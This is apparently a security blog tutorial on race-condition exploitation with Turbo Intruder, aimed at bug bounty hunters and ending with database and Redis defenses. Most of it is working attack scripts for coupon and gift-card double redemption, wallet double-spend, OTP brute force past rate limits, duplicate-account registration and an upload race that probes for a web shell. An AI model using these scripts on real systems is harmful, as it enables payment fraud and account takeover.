Race Condition 2.0: Advanced Exploitation with Turbo Intruder

Modern race condition exploitation — single-packet HTTP/2 attacks with Turbo Intruder, payment bypass, OTP brute force, TOCTOU file races, and real bug bounty methodology.

lazyhackers
Mar 27, 2026 · 16 min read · 11 views

Race Conditions: From Classic to Modern

A race condition vulnerability occurs when an application's security depends on a sequence of operations completing in a specific order, but an attacker can manipulate timing to violate that assumed order. The classic manifestation is the check-then-act pattern: the application checks a condition (do you have sufficient balance?), then performs an action (deduct balance), but an attacker submits multiple concurrent requests so that all pass the check before any action is executed.

The fundamental challenge in exploiting race conditions has historically been synchronization — ensuring all requests arrive at the server simultaneously. Network jitter, TCP connection establishment overhead, and server-side queuing all introduce timing variability that makes races unreliable. The modern single-packet attack technique, pioneered by James Kettle and implemented in Burp Suite's Turbo Intruder, largely solves this problem.

Why Traditional Multi-Threaded Attacks Fail

When you send 50 concurrent requests using Python's threading library, each request goes through its own TCP handshake. The TCP handshake alone takes one round-trip time (RTT) — typically 20-100ms to a remote target. Even if all threads start simultaneously, they arrive at the server spread across a window of ~100ms due to RTT variance. Most race condition windows are microseconds to milliseconds wide, meaning traditional threading rarely works against remote targets.

# Traditional approach (unreliable for remote targets):
import threading
import requests

def send_request():
    requests.post('https://target.com/redeem', data={'code': 'DISCOUNT50'},
                  cookies={'session': 'your_session'})

threads = [threading.Thread(target=send_request) for _ in range(20)]
for t in threads:
    t.start()
# Problem: TCP handshakes spread requests across ~100ms window
# Race window may be only microseconds — this rarely works remotely

The Single-Packet Attack

HTTP/2 multiplexes multiple requests over a single TCP connection. By packaging multiple HTTP/2 requests into a single TCP packet (or the minimum number of packets), all requests arrive at the server at virtually the same time — the server reads them from the same kernel buffer in microseconds. This is the single-packet attack, and it reduces the synchronization window from ~100ms down to sub-millisecond.

Even for HTTP/1.1 targets, the "last-byte synchronization" technique holds all requests with the final data byte unsent, then releases them simultaneously. This ensures all requests are in the server's TCP receive buffer when the last byte triggers processing.

Burp Suite Turbo Intruder

Turbo Intruder is a Burp Suite extension that implements both the single-packet attack and last-byte synchronization. It uses a Python scripting interface for fine-grained control over timing and request generation.

Installation and Setup

# Install Turbo Intruder:
# Burp Suite > Extensions > BApp Store > Turbo Intruder > Install

# Access: Right-click any request > Extensions > Send to Turbo Intruder

# Basic single-packet attack template:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,      # single connection
                           requestsPerConnection=100,    # 100 requests per connection
                           pipeline=False,               # don't pipeline
                           engine=Engine.HTTP2)          # use HTTP/2

    # Queue all requests before sending any
    for i in range(20):
        engine.queue(target.req, gate='race')

    # Release all queued requests simultaneously
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

Full Turbo Intruder Script for Payment Bypass

# Scenario: Redeeming a coupon code that should only work once
# The server checks: is code valid AND not used? Then marks it used.
# Race condition: check happens before mark in a non-atomic way

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.HTTP2)

    # The target request (already in Burp with your session cookie):
    # POST /api/coupon/redeem HTTP/2
    # Host: shop.target.com
    # Cookie: session=your_valid_session
    # Content-Type: application/json
    #
    # {"code":"SAVE50","order_id":"12345"}

    for i in range(25):
        engine.queue(target.req, gate='coupon_race')

    engine.openGate('coupon_race')

def handleResponse(req, interesting):
    # Flag responses that indicate success
    if '200' in req.response and 'discount_applied' in req.response:
        table.add(req)
For the single-packet attack to work reliably, the target must support HTTP/2. Check with: curl -v --http2 https://target.com 2>&1 | grep "HTTP/2". If HTTP/2 is not supported, use the last-byte sync technique by setting engine=Engine.THREADED and pipeline=True.

Payment and Double-Spend Attacks

Gift Card / Coupon Reuse

The most reliable race condition target in bug bounties. A gift card redemption endpoint typically:

  1. Queries database: SELECT balance FROM gift_cards WHERE code = ?
  2. Checks: if (balance > 0)
  3. Updates: UPDATE gift_cards SET balance = 0 WHERE code = ?
  4. Credits user account

Between steps 2 and 3, a concurrent request passes the same check before either deducts. Result: both requests credit the account, doubling the gift card value.

# Burp request to send in race:
POST /api/wallet/redeem HTTP/2
Host: store.target.com
Cookie: session=VALID_SESSION_TOKEN
Content-Type: application/json
Content-Length: 35

{"gift_card_code":"GC-XXXX-YYYY-ZZZZ"}

# Turbo Intruder script (send 25 simultaneous requests):
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=25,
                           engine=Engine.HTTP2)

    for _ in range(25):
        engine.queue(target.req, gate='gc_race')
    engine.openGate('gc_race')

def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)

# Expected result if vulnerable:
# Multiple 200 OK responses, each crediting $50
# Account balance increases by $50 * (number of successful races)

Wallet Top-Up Race (Double-Spend)

# Scenario: Transfer $100 from bank to wallet, race to double-credit
POST /api/payment/confirm HTTP/2
Host: fintech.target.com
Cookie: session=VALID_SESSION
Content-Type: application/json

{"payment_id":"PAY_123456","amount":100,"action":"confirm"}

# If the confirmation handler reads payment record, credits wallet,
# then marks payment as processed — race the confirmation:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=15,
                           engine=Engine.HTTP2)

    for _ in range(15):
        engine.queue(target.req, gate='payment_race')
    engine.openGate('payment_race')

OTP and Rate Limit Bypass via Racing

OTP Brute Force via Race Conditions

Many applications implement OTP rate limiting by counting attempts in a database or cache. If the counter increment and limit check are not atomic (not wrapped in a transaction or using atomic operations), concurrent requests can all pass the check before any increment is recorded:

# Server-side vulnerable logic:
def verify_otp(user_id, code):
    attempts = db.get_attempts(user_id)  # reads current count
    if attempts >= 5:
        return "too_many_attempts"
    db.increment_attempts(user_id)       # race window here!
    if db.get_otp(user_id) == code:
        return "success"
    return "invalid"

# Attack: send 100 OTP attempts simultaneously
# All 100 read attempts=0, all pass the check
# Only the correct one returns success

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=100,
                           engine=Engine.HTTP2)

    # Generate all OTP candidates (6-digit: 000000-999999)
    # For targeted attack, use common OTPs or sequential
    for otp in wordlists.clipboard:  # load OTP list from clipboard
        engine.queue(target.req, otp.rstrip(), gate='otp_race')

    engine.openGate('otp_race')

def handleResponse(req, interesting):
    if 'success' in req.response or 'verified' in req.response:
        table.add(req)

Email OTP Racing — Practical Example

# The request to race:
POST /auth/verify-otp HTTP/2
Host: target.com
Cookie: session=SESSION_AFTER_LOGIN
Content-Type: application/json

{"otp":"§000000§"}

# Turbo Intruder with wordlist (numbers 000000-999999):
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=500,
                           engine=Engine.HTTP2)

    # Batch in groups to avoid overwhelming the server
    batch_size = 500
    codes = [str(i).zfill(6) for i in range(1000000)]

    for i in range(0, len(codes), batch_size):
        batch = codes[i:i+batch_size]
        gate_name = f'otp_batch_{i}'
        for code in batch:
            engine.queue(target.req, code, gate=gate_name)
        engine.openGate(gate_name)
        # Check results before next batch
        import time; time.sleep(0.5)

def handleResponse(req, interesting):
    if req.status == 200 and 'invalid' not in req.response:
        table.add(req)

Registration Race Conditions

Unique email/username constraints enforced at the application layer (not the database level) are vulnerable to race conditions. If two registration requests arrive simultaneously for the same username, both may pass the "does username exist?" check before either commits the new record:

# Race to register duplicate accounts:
POST /auth/register HTTP/2
Host: target.com
Content-Type: application/json

{"email":"[email protected]","password":"Password123!"}

# If you register the victim's email, you control their account reset flow
# Or: register with an internal email ([email protected], [email protected])

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=20,
                           engine=Engine.HTTP2)

    for _ in range(20):
        engine.queue(target.req, gate='reg_race')
    engine.openGate('reg_race')

def handleResponse(req, interesting):
    if req.status in [200, 201]:
        table.add(req)
# Multiple 201 Created = race won, duplicate account created

File Upload TOCTOU Races

Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities in file upload handlers occur when security validation happens in a separate step from the actual file processing. The attack window exists between when a file passes validation and when it's used:

# Vulnerable upload handler (simplified):
def upload_file(file_data, filename):
    temp_path = f'/tmp/uploads/{uuid4()}/{filename}'
    write_file(temp_path, file_data)           # Step 1: Write file

    # Step 2: Validate (check extension, scan content)
    if not is_safe_file(temp_path):
        os.remove(temp_path)
        return "unsafe file"

    final_path = f'/var/www/uploads/{filename}'
    os.rename(temp_path, final_path)           # Step 3: Move to final location
    return "uploaded"

# Race window: between Steps 2 and 3
# If you can replace the temp file with malicious content after validation
# but before the rename, malicious file lands at final_path

# Attack using a symlink race:
# While validation is running, replace temp file with symlink to /var/www/html/shell.php
# When rename() executes, it renames your symlink target to final_path

# Practical PoC (requires filesystem access, more relevant to local privilege escalation)
# For web context: race a ZIP extraction handler instead

# ZIP slip + race condition:
# Upload legitimate ZIP, race to replace contents during async extraction

Image Processing Race

# Many platforms process images asynchronously:
# 1. Upload image -> temporarily accessible at /uploads/temp/image.jpg
# 2. Background job validates/resizes it
# 3. If valid, move to /uploads/final/image.jpg

# Race window: during step 2, temp file is accessible but not yet validated
# Request the temp file immediately after upload before processing completes

# Automated race during upload:
import threading, requests, time

session = requests.Session()
session.cookies.set('session', 'YOUR_SESSION')

def upload_and_fetch():
    # Upload file
    r = session.post('https://target.com/upload',
                     files={'file': ('shell.php.jpg', open('test.jpg', 'rb'), 'image/jpeg')})
    temp_url = r.json().get('temp_url')

    # Immediately try to access it as PHP
    # Some servers process extensions of temp files differently
    for _ in range(50):
        try:
            exec_r = session.get(temp_url.replace('.jpg', '.php'))
            if 'uid=' in exec_r.text:
                print(f"[!] RCE via upload race: {exec_r.text}")
                break
        except:
            pass

upload_and_fetch()

Detecting Race Windows: Timing Analysis

Response Timing as an Oracle

Before launching a race attack, analyze response timing to understand if and where a race window exists:

# Using Burp Repeater timing:
# 1. Send a request and note the response time
# 2. Send a duplicate request immediately after
# 3. If the second response is significantly faster (cache hit) or slower
#    (lock contention), a race window likely exists

# Python timing analysis:
import requests, statistics, time

url = 'https://target.com/api/redeem'
headers = {'Cookie': 'session=YOUR_SESSION', 'Content-Type': 'application/json'}
data = '{"code":"TEST123"}'

times = []
for i in range(10):
    start = time.perf_counter()
    r = requests.post(url, headers=headers, data=data)
    elapsed = time.perf_counter() - start
    times.append(elapsed)
    print(f"Request {i+1}: {elapsed*1000:.2f}ms - Status: {r.status_code}")

print(f"\nMean: {statistics.mean(times)*1000:.2f}ms")
print(f"Stdev: {statistics.stdev(times)*1000:.2f}ms")
# High stdev suggests inconsistent processing = potential race window

Differential Response Analysis

# After a race attack, analyze the responses:
# Scenario: applying a coupon code

# Expected (no race):
# Request 1: 200 OK - {"discount": 50, "status": "applied"}
# Request 2: 400 Bad Request - {"error": "coupon already used"}

# Vulnerable (race won):
# Request 1: 200 OK - {"discount": 50, "status": "applied"}
# Request 2: 200 OK - {"discount": 50, "status": "applied"}  <-- double redemption!

# In Turbo Intruder, filter by status code to identify winners:
def handleResponse(req, interesting):
    if req.status == 200:
        table.add(req)
    # Also add unexpected responses:
    elif req.status not in [400, 409, 429]:
        table.add(req)

Real-World Bug Bounty Examples

Target Type Vulnerability Impact Bounty Range
E-commerce Platform Gift card double redemption Infinite balance generation $5,000-$15,000
Fintech App Referral bonus race Unlimited bonus credits $3,000-$10,000
SaaS Platform Plan upgrade race Free premium access $1,000-$5,000
Auth System OTP rate limit bypass Account takeover $5,000-$25,000
API Platform Registration race (email takeover) Pre-register victim email $2,000-$8,000

Advanced: HTTP/1.1 Last-Byte Synchronization

# For HTTP/1.1 targets without HTTP/2 support:
# Hold all requests with the final byte unsent
# Release all final bytes simultaneously

# Turbo Intruder HTTP/1.1 last-byte sync:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,   # multiple connections
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.THREADED)

    # Build request manually, hold last byte
    for i in range(30):
        engine.queue(target.req, gate='sync_gate')

    # All 30 connections established, requests queued
    # Release gate fires all last bytes simultaneously
    engine.openGate('sync_gate')

# The key: Turbo Intruder establishes all connections
# and sends all request data EXCEPT the final byte,
# then sends all final bytes in a tight loop
# This creates ~1ms synchronization window even over HTTP/1.1

Defense Mechanisms

Database-Level Atomicity

-- SQL: Use SELECT FOR UPDATE to lock the row
BEGIN TRANSACTION;
SELECT balance FROM gift_cards WHERE code = 'GC-XXX' FOR UPDATE;
-- Row is now locked, concurrent transactions must wait
UPDATE gift_cards SET balance = 0, used_at = NOW() WHERE code = 'GC-XXX' AND balance > 0;
-- Use affected rows count to detect races:
-- If affected_rows == 0: another request already processed this
COMMIT;

-- Even better: atomic conditional update
UPDATE gift_cards
SET balance = 0, used_at = NOW()
WHERE code = 'GC-XXX' AND balance > 0 AND used_at IS NULL;
-- Check affected_rows == 1 for success

Redis Atomic Operations

# Use Redis SETNX for atomic check-and-set:
import redis
r = redis.Redis()

def redeem_coupon(code, user_id):
    # SETNX: Set if Not eXists — atomic operation
    lock_key = f"coupon:used:{code}"
    acquired = r.setnx(lock_key, user_id)  # returns 1 if set, 0 if already exists

    if not acquired:
        return "already_used"

    r.expire(lock_key, 3600)  # cleanup after 1 hour
    # Credit user account
    return "success"

# Alternatively: Redis Lua scripts for complex atomic operations
lua_script = """
local current = redis.call('GET', KEYS[1])
if current then
    return 0
else
    redis.call('SET', KEYS[1], ARGV[1], 'EX', 3600)
    return 1
end
"""
result = r.eval(lua_script, 1, f"coupon:{code}", user_id)
The most effective defense against race conditions is designing operations to be inherently atomic at the database level using transactions with row-level locking, optimistic locking with version counters, or database unique constraints. Application-level locking (Redis locks, file locks) can help but adds complexity and has failure modes of its own.

Race condition vulnerabilities remain consistently underreported in bug bounty programs because they require precise timing and the right tooling. The single-packet attack technique combined with Turbo Intruder has made previously unreliable races consistently exploitable, significantly raising the practical impact of this vulnerability class. Any feature involving counting, balancing, or unique constraints is a candidate for race condition testing.

Reactions

Related Articles